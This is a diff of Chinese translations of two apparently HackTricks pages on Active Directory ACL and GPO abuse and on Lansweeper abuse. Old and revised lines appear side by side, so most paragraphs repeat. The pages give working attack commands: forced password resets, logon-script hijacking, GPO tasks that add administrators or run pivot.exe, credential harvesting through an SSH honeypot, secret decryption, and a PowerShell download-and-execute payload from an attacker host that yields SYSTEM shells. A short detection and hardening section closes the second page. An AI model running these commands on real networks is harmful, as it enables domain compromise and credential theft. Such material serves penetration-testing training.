持有对用户的 `ExtendedRight``User-Force-Change-Password`)允许在不知道当前密码的情况下重置密码。可以通过 PowerShell 或其他命令行工具验证并利用此权限,提供多种重置用户密码的方法,包括交互式会话和用于非交互环境的一行命令。可用命令从简单的 PowerShell 调用到在 `Linux` 上使用 `rpcclient` 不等,展示了 attack vectors 的多样性。
拥有某个用户的 `ExtendedRight`(用于 `User-Force-Change-Password`)可以在不知道当前密码的情况下重置密码。可以通过 PowerShell 或其他命令行工具验证并利用该权限,提供多种重置用户密码的方法,包括交互式会话和用于非交互环境的单行命令。相关命令从简单的 PowerShell 调用到在 Linux 上使用 `rpcclient` 不等,展示了攻击向量的多样性。
```bash
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
@ -85,9 +85,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
```
## **WriteOwner 在组上**
## **WriteOwner on Group**
如果攻击者发现他们对某个组拥有 `WriteOwner` 权限,他们可以将该组的所有权更改为自己。 当相关组是 `Domain Admins` 时,这尤其具有影响,因为更改所有者允许对组属性和成员资格进行更广泛的控制。 该过程包括通过 `Get-ObjectAcl` 找到正确的对象,然后使用 `Set-DomainObjectOwner` 修改所有者(可以通过 SID 或名称)
如果攻击者发现自己对某个组拥有 `WriteOwner` 权限,他们可以将该组的所有者更改为自己。当涉及的组是 `Domain Admins` 时,这尤其具有重大影响,因为更改所有者允许对组属性和成员资格进行更广泛的控制。该过程包括通过 `Get-ObjectAcl` 确定正确的对象,然后使用 `Set-DomainObjectOwner` 修改所有者,可通过 SID 或名称进行修改
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
@ -95,13 +95,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
```
## **GenericWrite on User**
此权限允许攻击者修改用户属性。具体来说,拥有 `GenericWrite` 访问权限的攻击者可以更改用户的登录脚本路径,以便在用户登录时执行恶意脚本。该操作通过使用 `Set-ADObject` 命令更新目标用户的 `scriptpath` 属性,使其指向攻击者的脚本来实现
此权限允许攻击者修改用户属性。具体来说,拥有 `GenericWrite` 访问权限时,攻击者可以更改用户的登录脚本路径,以在用户登录时执行恶意脚本。实现方法是使用 `Set-ADObject` 命令将目标用户的 `scriptpath` 属性更新为指向攻击者脚本的路径
```bash
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
## **GenericWrite(针对组)**
## **GenericWrite on Group**
拥有此权限的攻击者可以操纵组的成员资格,例如将自己或其他用户添加到特定组。此过程涉及创建一个 credential object使用它将用户添加到或从组中移除并使用 PowerShell 命令验证成员身份的更改。
拥有此权限的攻击者可以操纵组成员关系,例如将自己或其他用户添加到特定组。该过程包括创建一个凭证对象,使用它向组中添加或移除用户,并使用 PowerShell 命令验证成员更改。
```bash
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -111,7 +111,9 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
```
## **WriteDACL + WriteOwner**
拥有 AD 对象并对其具有 `WriteDACL` 权限,可使攻击者为自己授予对该对象的 `GenericAll` 权限。这是通过 ADSI 操纵实现的,允许对该对象进行完全控制并修改其组成员资格。尽管如此,使用 Active Directory 模块的 `Set-Acl` / `Get-Acl` cmdlets 尝试利用这些权限时存在限制。
拥有一个 AD object 并对其具有 `WriteDACL` 权限,攻击者可以将自己授予对该对象的 `GenericAll` 权限。
这是通过 ADSI 操作来完成的,使攻击者能够完全控制该对象并修改其组成员关系。
尽管如此,使用 Active Directory module 的 `Set-Acl` / `Get-Acl` cmdlets 来利用这些权限时仍存在限制。
```bash
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -121,64 +123,64 @@ $ADSI.psbase.commitchanges()
```
## **域内复制 (DCSync)**
DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数据,包括用户凭据。该强大技术需要诸如 `DS-Replication-Get-Changes` 的权限,允许攻击者在不直接访问域控制器的情况下从 AD 环境中提取敏感信息。 [**Learn more about the DCSync attack here.**](../dcsync.md)
DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数据,包括用户凭证。该强大技术需要类似 `DS-Replication-Get-Changes` 的权限,使攻击者在无需直接访问域控制器的情况下从 AD 环境中提取敏感信息。 [**Learn more about the DCSync attack here.**](../dcsync.md)
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
## GPO 委派 <a href="#gpo-delegation" id="gpo-delegation"></a>
### GPO 委派
被委派管理组策略对象 (GPOs) 的访问权限可能带来重大安全风险。例如,如果像 `offense\spotless` 这样的用户被委派 GPO 管理权限,他们可能拥有 **WriteProperty**、**WriteDacl** 和 **WriteOwner**特权。这些权限可以被滥用用于恶意目的,可使用 PowerView 识别: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
被委派管理 Group Policy Objects (GPOs) 的访问权限可能带来显著的安全风险。例如,如果像 `offense\spotless` 这样的用户被委派 GPO 管理权限,他们可能拥有 **WriteProperty**、**WriteDacl** 和 **WriteOwner**权限。这些权限可能被滥用以实施恶意操作,可通过 PowerView 识别:`bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
### 举 GPO 权限
### 举 GPO 权限
要识别配置错误的 GPO可以串联 PowerSploit 的 cmdlet。这可以发现特定用户有权限管理的 GPO `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
为识别配置错误的 GPO可以将 PowerSploit 的 cmdlets 链接在一起。这可以发现特定用户有权限管理的 GPO`powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
**给定策略应用到的计算机**:可以解析特定 GPO 应用于哪些计算机,有助于了解潜在影响范围。 `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**应用了特定策略的计算机**:可以解析特定 GPO 应用于哪些计算机,从而帮助了解潜在影响的范围。`powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**应用于特定计算机的策略**:要查看特定计算机应用了哪些策略,可使用诸如 `Get-DomainGPO` 的命令。
**应用于特定计算机的策略**:要查看某台计算机上应用了哪些策略,可以使用诸如 `Get-DomainGPO` 的命令。
**应用了给定策略的 OU**:可以使用 `Get-DomainOU` 来识别受特定策略影响的组织单元 (OUs)。
**应用了特定策略的 OU**:使用 `Get-DomainOU` 可以识别受某个策略影响的组织单位 (OUs)。
你也可以使用工具 [**GPOHound**](https://github.com/cogiceo/GPOHound) 来枚举 GPO 并发现其中的问题。
你也可以使用工具 [**GPOHound**](https://github.com/cogiceo/GPOHound) 来枚举 GPOs 并发现其中的问题。
### 滥用 GPO - New-GPOImmediateTask
配置错误的 GPO 可被利用来执行代码,例如通过创建即时计划任务。这可以用于在受影响的机器上将用户添加到本地管理员组,从而显著提升权限:
配置错误的 GPO 可被利用来执行代码,例如通过创建一个立即执行的计划任务。这可以用于将用户添加到受影响机器的本地 administrators 组,从而显著提升权限:
```bash
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```
### GroupPolicy module - Abuse GPO
如果已安装 GroupPolicy module允许创建并链接新的 GPOs并设置首选项例如 registry values以在受影响的计算机上执行 backdoors。此方法要求 GPO 被更新且用户登录到计算机后才会执行:
如果已安装 GroupPolicy module允许创建并链接新的 GPOs并设置首选项例如 registry values以在受影响的计算机上执行 backdoors。此方法要求更新 GPO 并且需要用户登录该计算机后才能执行:
```bash
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
```
### SharpGPOAbuse - Abuse GPO
SharpGPOAbuse 提供了一种滥用现有 GPOs 的方法,通过添加任务或修改设置,无需创建新的 GPOs。该工具需要在应用更改之前修改现有的 GPOs或使用 RSAT 工具创建新的 GPOs
SharpGPOAbuse 提供了一种方法,可以通过添加任务或修改设置来滥用现有的 GPOs而无需创建新的 GPOs。该工具需要先修改现有的 GPOs 或使用 RSAT 工具创建新的 GPOs然后再应用更改
```bash
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
```
### 强制策略更新
### 强制更新策略
GPO 更新通常大约每 90 分钟发生一次。为加快此过程,特别是在实施更改之后,可在目标计算机上使用 `gpupdate /force` 命令以强制立即更新策略。该命令可确保对 GPO 的任何修改在不必等待下一个自动更新周期的情况下生效
GPO 更新通常每约 90 分钟发生一次。为加快此过程,尤其是在实施更改之后,可在目标计算机上使用 `gpupdate /force` 命令以强制立即更新策略。此命令可确保对 GPOs 的任何修改在不等待下一次自动更新周期的情况下被应用
### 内部机制
### 背后原理
检查某个 GPO例如 `Misconfigured Policy`)的计划任务时,可以确认已添加像 `evilTask` 这样的任务。这些任务通常通过脚本或命令行工具创建,目的是修改系统行为或提升权限。
检查特定 GPO例如 `Misconfigured Policy`)的 Scheduled Tasks 时,可以确认已添加诸如 `evilTask` 的任务。这些任务通常通过脚本或命令行工具创建,目的是修改系统行为或提升权限。
任务的结构在由 `New-GPOImmediateTask` 生成的 XML 配置文件中有所体现,概述了计划任务的具体细节——包括要执行的命令及其触发器。该文件表示了在 GPO 中如何定义和管理计划任务,提供了一种在策略执行过程中运行任意命令或脚本的方法。
任务的结构在由 `New-GPOImmediateTask` 生成的 XML 配置文件中有所展示,详细列出了计划任务的具体内容——包括要执行的命令及其触发器。该文件展示了在 GPOs 中如何定义和管理计划任务,提供了一种作为策略执行一部分来执行任意命令或脚本的方法。
### 用户与组
GPO 还允许操纵目标系统上的用户和组成员资格。通过直接编辑用户与组Users and Groups策略文件攻击者可以将用户添加到特权组例如本地的 `administrators` 组。通过委派 GPO 管理权限,攻击者得以修改策略文件以包含新用户或更改组成员资格。
GPOs 还允许对目标系统上的用户和组成员资格进行操控。通过直接编辑 Users and Groups 策略文件,攻击者可以将用户添加到特权组,例如本地 `administrators` 组。这可以通过委派 GPO 管理权限实现,允许修改策略文件以包含新用户或更改组成员资格。
Users and Groups 的 XML 配置文件说明了这些更改如何实现。通过向该文件添加条目,可以为特定用户授予在受影响系统上的提升权限。此方法通过操纵 GPO 提供了一种直接的权限提升途径。
Users and Groups 的 XML 配置文件概述了这些更改的实现方式。通过向该文件添加条目,可以使特定用户在受影响系统上获得提升的权限。此方法通过操纵 GPO 提供了一种直接的权限提升途径。
此外,还可以考虑其他执行代码或保持持久性的方式,例如利用登录/注销脚本、修改用于自动运行的注册表键、通过 .msi 文件安装软件或编辑服务配置等。这些技术为通过滥用 GPO 来维持访问和控制目标系统提供了多种途径。
此外,还可以考虑其它用于执行代码或维持持久性的方式,例如利用 logon/logoff scripts、修改用于自动启动的注册表键、通过 .msi 文件安装软件,或编辑服务配置等。这些技术为通过滥用 GPOs 来维持访问并控制目标系统提供了多种途径。
## 参考
## References
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)

View File

@ -1,28 +1,28 @@
# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE
# Lansweeper 滥用:凭证收集、秘密解密与部署 RCE
{{#include ../../banners/hacktricks-training.md}}
Lansweeper 是一个常见于 Windows 环境并与 Active Directory 集成的 IT 资产发现与清单平台。配置在 Lansweeper 中的凭证被其扫描引擎用于通过 SSH、SMB/WMI 和 WinRM 等协议对资产进行身份验证。错误配置常导致
Lansweeper 是一个常部署在 Windows 并与 Active Directory 集成的 IT 资产发现与清点平台。配置在 Lansweeper 中的凭证被其扫描引擎用于通过 SSH、SMB/WMI 和 WinRM 等协议对资产进行认证。配置错误常常允许
- 通过将扫描目标重定向到攻击者控制的主机honeypot拦截凭证
- 滥用由 Lansweeper 相关组暴露的 AD ACLs 以获得远程访问
- 在宿主上解密 Lansweeper 配置的 secrets(连接字符串和存储的扫描凭证)
- 通过 Deployment 功能在被管理端上执行代码(通常以 SYSTEM 运行)
- 通过将扫描目标重定向到攻击者控制的主机honeypot拦截凭证
- 滥用由 Lansweeper 相关组暴露的 AD ACLs(访问控制列表)以获取远程访问
- 在主机上解密 Lansweeper 配置的秘密(连接字符串和存储的扫描凭证)
- 通过 Deployment 功能在被管理的终端上执行代码(通常以 SYSTEM 身份运行)
本页总结了在实战中滥用这些行为的实用攻击者工作流和命令。
本页总结了在实战演练中滥用这些行为的实用攻击者工作流和命令。
## 1) Harvest scanning credentials via honeypot (SSH example)
## 1) 通过 honeypot 收集扫描凭证SSH 示例)
思路:创建一个指向你主机的 Scanning Target并将已有的 Scanning Credentials 映射到该目标。当扫描运行时Lansweeper 会尝试使用这些凭证进行认证,你的 honeypot 将捕获这些尝试凭证
思路:创建一个指向你主机的 Scanning Target并将已有的 Scanning Credentials 映射到该目标。当扫描运行时Lansweeper 会尝试使用这些凭证进行认证,而你的 honeypot 会捕获它们
步骤概览(web UI
步骤概览(Web UI
- Scanning → Scanning Targets → Add Scanning Target
- Type: IP Range (or Single IP) = your VPN IP
- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
- Disable schedule and plan to trigger manually
- Scanning → Scanning Credentials → ensure Linux/SSH creds exist; map them to the new target (enable all as needed)
- Click “Scan now” on the target
- Run an SSH honeypot and retrieve the attempted username/password
- 类型IP Range或 Single IP= 你的 VPN IP
- 将 SSH 端口配置为可访问的端口(例如,如果 22 被阻挡可用 2022
- 禁用计划并设置为手动触发
- Scanning → Scanning Credentials → 确保存在 Linux/SSH 凭证;将它们映射到新目标(按需启用全部)
- 在目标上点击 “Scan now”
- 运行一个 SSH honeypot 并检索尝试的用户名/密码
Example with sshesame:
```yaml
@ -39,20 +39,20 @@ sshesame --config sshesame.conf
# authentication for user "svc_inventory_lnx" with password "<password>" accepted
# connection with client version "SSH-2.0-RebexSSH_5.0.x" established
```
针对 DC 服务验证捕获的凭据
将捕获的 creds 在 DC 服务上验证
```bash
# SMB/LDAP/WinRM checks (NetExec)
netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
```
意事项
- 当你能将扫描器诱导到你的监听器时对其他协议的做法类似SMB/WinRM honeypots 等。SSH 通常是最简单的
- 许多扫描器会用明显的客户端横幅标识自己(例如 RebexSSH并且会尝试一些无害命令uname、whoami 等)。
- 对于其他协议,当你可以将扫描器强制连到你的 listenerSMB/WinRM honeypots 等方法类似。SSH 通常最简单
- 许多扫描器会通过特有的 client banners例如 RebexSSH标识自己会尝试一些无害命令uname、whoami 等)。
## 2) AD ACL abuse: 通过将自己添加到应用管理员组来获取远程访问权限
## 2) AD ACL abuse: 通过将自己添加到应用管理员组获得远程访问
使用 BloodHound 从被攻陷的账户枚举有效权限。常见发现是某个针对扫描器或应用的组(例如 “Lansweeper Discovery”对一个特权组例如 “Lansweeper Admins”拥有 GenericAll。如果该特权组也是 “Remote Management Users” 的成员,一旦我们将自己添加进去WinRM 就会可用。
使用 BloodHound 从被攻陷的账号枚举有效权限。常见发现是一个扫描器或应用特定的组(例如 “Lansweeper Discovery”对某个特权组例如 “Lansweeper Admins”拥有 GenericAll 权限。如果该特权组同时是 “Remote Management Users” 的成员,那么一旦我们把自己加入其中WinRM 就会可用。
收集示例:
```bash
@ -62,7 +62,7 @@ netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhoun
# RustHound-CE collection (zip for BH CE import)
rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
```
使用 BloodyAD (Linux) 在组上利用 GenericAll
用 BloodyAD (Linux) 在 group 上利用 GenericAll
```bash
# Add our user into the target group
bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
@ -71,24 +71,24 @@ add groupMember "Lansweeper Admins" svc_inventory_lnx
# Confirm WinRM access if the group grants it
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
```
然后获取一个 interactive shell:
然后获取一个交互式 shell:
```bash
evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
```
提示Kerberos 操作对时间敏感。如果触发 KRB_AP_ERR_SKEW先与 DC 同步:
提示Kerberos 操作对时间敏感。如果遇到 KRB_AP_ERR_SKEW先与 DC 同步:
```bash
sudo ntpdate <dc-fqdn-or-ip> # or rdate -n <dc-ip>
```
## 3) 在主机上解密 Lansweeper 配置的 secret
## 3) 在主机上解密 Lansweeper 配置的机密
在 Lansweeper 服务器上ASP.NET 站点通常会存储一个加密的连接字符串和应用程序使用的对称密钥。获得合适的本地访问权限后,你可以解密数据库连接字符串,然后提取存储的扫描凭据。
在 Lansweeper 服务器上ASP.NET 站点通常存储加密的连接字符串和应用使用的对称密钥。拥有合适的本地访问权限后,你可以解密 DB 连接字符串,然后提取存储的扫描凭据。
典型位置:
- Web 配置`C:\Program Files (x86)\Lansweeper\Website\web.config`
- Web 配置: `C:\Program Files (x86)\Lansweeper\Website\web.config`
- `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">``<EncryptedData>…`
- 应用程序密钥:`C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
- 应用密钥: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
使用 SharpLansweeperDecrypt 自动化解密并导出存储的凭据:
使用 SharpLansweeperDecrypt 自动化解密并导出存储的凭据:
```powershell
# From a WinRM session or interactive shell on the Lansweeper host
# PowerShell variant
@ -99,26 +99,26 @@ powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
# - Connect to Lansweeper DB
# - Decrypt stored scanning credentials and print them in cleartext
```
预期输出包括 DB 连接详情以及明文扫描凭据,例如在整个资产中使用的 Windows 和 Linux 账户。这些账户通常在域主机上具有提升的本地权限:
预期输出包括 DB 连接详情和明文扫描凭据,例如用于整个资产中的 Windows 和 Linux 账户。这些账户通常在域主机上具有提升的本地权限:
```text
Inventory Windows SWEEP\svc_inventory_win <StrongPassword!>
Inventory Linux svc_inventory_lnx <StrongPassword!>
```
使用恢复的 Windows scanning creds 获取特权访问:
使用恢复的 Windows 扫描 creds 获取特权访问:
```bash
netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
```
## 4) Lansweeper 部署 → SYSTEM RCE
## 4) Lansweeper Deployment → SYSTEM RCE
作为“Lansweeper Admins”的成员web UI 会显示 Deployment 和 Configuration。在 Deployment → Deployment packages 下,你可以创建会在目标资产上运行任意命令的包。执行由 Lansweeper 服务以高权限执行,从而在所选主机上获得以 NT AUTHORITY\SYSTEM 身份运行的代码执行。
作为 “Lansweeper Admins” 的成员web UI 会暴露 Deployment 和 Configuration。在 Deployment → Deployment packages 下,你可以创建在目标资产上运行任意命令的 packages。命令由 Lansweeper 服务以高权限执行,在所选主机上以 NT AUTHORITY\SYSTEM 获得代码执行。
高层步骤:
- 创建一个新的 Deployment package行 PowerShell 或 cmd 的一行命令reverse shell、add-user 等)。
- 选择目标资产(例如运行 Lansweeper 的 DC/主机),然后点击 Deploy/Run now。
- 以 SYSTEM 权限接收你的 shell。
High-level steps:
- 创建一个新的 Deployment package行 PowerShell 或 cmd 的一行命令reverse shell、add-user 等)。
- 定位到目标资产(例如运行 Lansweeper 的 DC/host),然后点击 Deploy/Run now。
- 以 SYSTEM 身份接收你的 shell。
Example payloads (PowerShell):
示例 payloads (PowerShell):
```powershell
# Simple test
powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
@ -127,23 +127,23 @@ powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
```
OPSEC
- 部署操作会产生噪音并在 Lansweeper 和 Windows 事件日志中留下日志。谨慎使用。
- 部署操作会产生大量噪声并在 Lansweeper 和 Windows 事件日志中留下日志。谨慎使用。
## 检测与加固
- 限制或移除匿名 SMB 枚举。监控 RID cycling 和对 Lansweeper 共享的异常访问。
- 出站控制:阻止或严格限制扫描主机的出站 SSH/SMB/WinRM。对非标准端口例如 2022像 Rebex 这样的异常客户端 banner 发出告警。
- 保护 `Website\\web.config``Key\\Encryption.txt`。将 secrets 外置到 vault 并在暴露时进行轮换。考虑使用最小权限的服务账户和在可行时使用 gMSA。
- AD 监控:对与 Lansweeper 相关的组(例如 “Lansweeper Admins”“Remote Management Users”的更改触发告警以及对授予特权组 GenericAll/Write 成员资格的 ACL 更改触发告警。
- 审计 Deployment 包的创建/更改/执行;对生成 cmd.exe/powershell.exe 或发起异常出站连接的包发出告警。
- 出站控制:阻止或严格限制扫描主机的出站 SSH/SMB/WinRM。对非标准端口例如 2022异常客户端横幅(如 Rebex触发告警。
- 保护 `Website\\web.config``Key\\Encryption.txt`。将 secrets 外置到 vault 并在暴露时进行轮换。考虑使用权限最小的服务账户和在可行时使用 gMSA。
- AD 监控:对与 Lansweeper 相关的组(例如 “Lansweeper Admins”, “Remote Management Users”的更改触发告警以及对授予特权组 GenericAll/Write 成员权限的 ACL 更改触发告警。
- 审计 Deployment 包的创建/更改/执行;对启动 cmd.exe/powershell.exe 或异常出站连接的包触发告警。
## 相关主题
- SMB/LSA/SAMR 枚举和 RID cycling
- Kerberos 密码喷洒以及时钟偏差的相关注意事项
- 使用 BloodHound 对 application-admin 组进行路径分析
- WinRM 使用与横向移动
- SMB/LSA/SAMR enumeration and RID cycling
- Kerberos password spraying and clock skew considerations
- BloodHound path analysis of application-admin groups
- WinRM usage and lateral movement
## References
## 参考资料
- [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)
- [sshesame (SSH honeypot)](https://github.com/jaksi/sshesame)
- [SharpLansweeperDecrypt](https://github.com/Yeeb1/SharpLansweeperDecrypt)